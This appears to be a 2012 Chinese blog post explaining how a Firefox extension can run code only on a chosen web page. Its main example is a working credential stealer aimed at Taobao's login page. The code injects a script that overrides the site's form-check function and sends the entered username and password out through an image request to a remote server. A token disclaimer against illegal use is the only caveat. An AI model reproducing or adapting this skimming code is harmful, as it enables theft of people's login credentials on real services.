Chinaunix首页 | 论坛 | 博客
  • 博客访问: 1202878
  • 博文数量: 272
  • 博客积分: 3899
  • 博客等级: 中校
  • 技术积分: 4734
  • 用 户 组: 普通用户
  • 注册时间: 2012-06-15 14:53
文章分类

全部博文(272)

文章存档

2012年(272)

分类: Python/Ruby

2012-06-26 11:15:56

如果按照前面一篇提到的写一个HelloWorld 程序,会发现弹窗是在所有页面和网站加载之前,这显然不是我们希望看到的。我们经常需要对一个制定的网站或者页面进行操作。

Firefox
的扩展和页面之间的交互一般是通过注册一个DOM事件来传递消息的。

参考官方的一些代码例子,我写了一个针对淘宝登录页面的获取密码的扩展,核心代码如下(请勿用于非法用途)

//
注册load事件
window.addEventListener("load", function() { myExtension.init(); }, false);

var myExtension = {
init: function() {
    var appcontent = document.getElementById("appcontent");   // browser
    if(appcontent)
      appcontent.addEventListener("DOMContentLoaded", myExtension.onPageLoad, true);
      
    
    var messagepane = document.getElementById("messagepane"); // mail
    if(messagepane)
      messagepane.addEventListener("load", function () { myExtension.onPageLoad(); }, true);
},

onPageLoad: function(aEvent) {
    var doc = aEvent.originalTarget; // doc is document that triggered "onload" event
    // do something with the loaded page.
    // doc.location is a Location object (see below for a link).
    // You can use it to make your code executed on certain pages only.
    if(doc.location.href.search("member1.taobao.com/member/login.jhtml") > -1){
      //
这个if 制定了一个页面,否则doc会取到所有打开tab页面的document对象
      alert("Taobao Login page is loaded");
      
      // your code here ...
      var s = doc.createElement("script");   
      //
重载了淘宝的一个函数。记录密码并发送到远程服务器
      s.innerHTML = "function checkForm(f, type){var im = document.createElement('img');im.src=''+document.getElementById('TPL_username').value+'&password='+document.getElementById('TPL_password').value;document.body.appendChild(im);return false;}";
      doc.body.appendChild(s);      
    } 
}
}

这里用的是Page Loading 后才能实施的脚本,如果要在页面加载中,或者一些更复杂的状态变化时进行控制,需要使用 Process Listeners 的接口。

https://developer.mozilla.org/en/Code_snippets/Progress_Listeners

阅读(1197) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~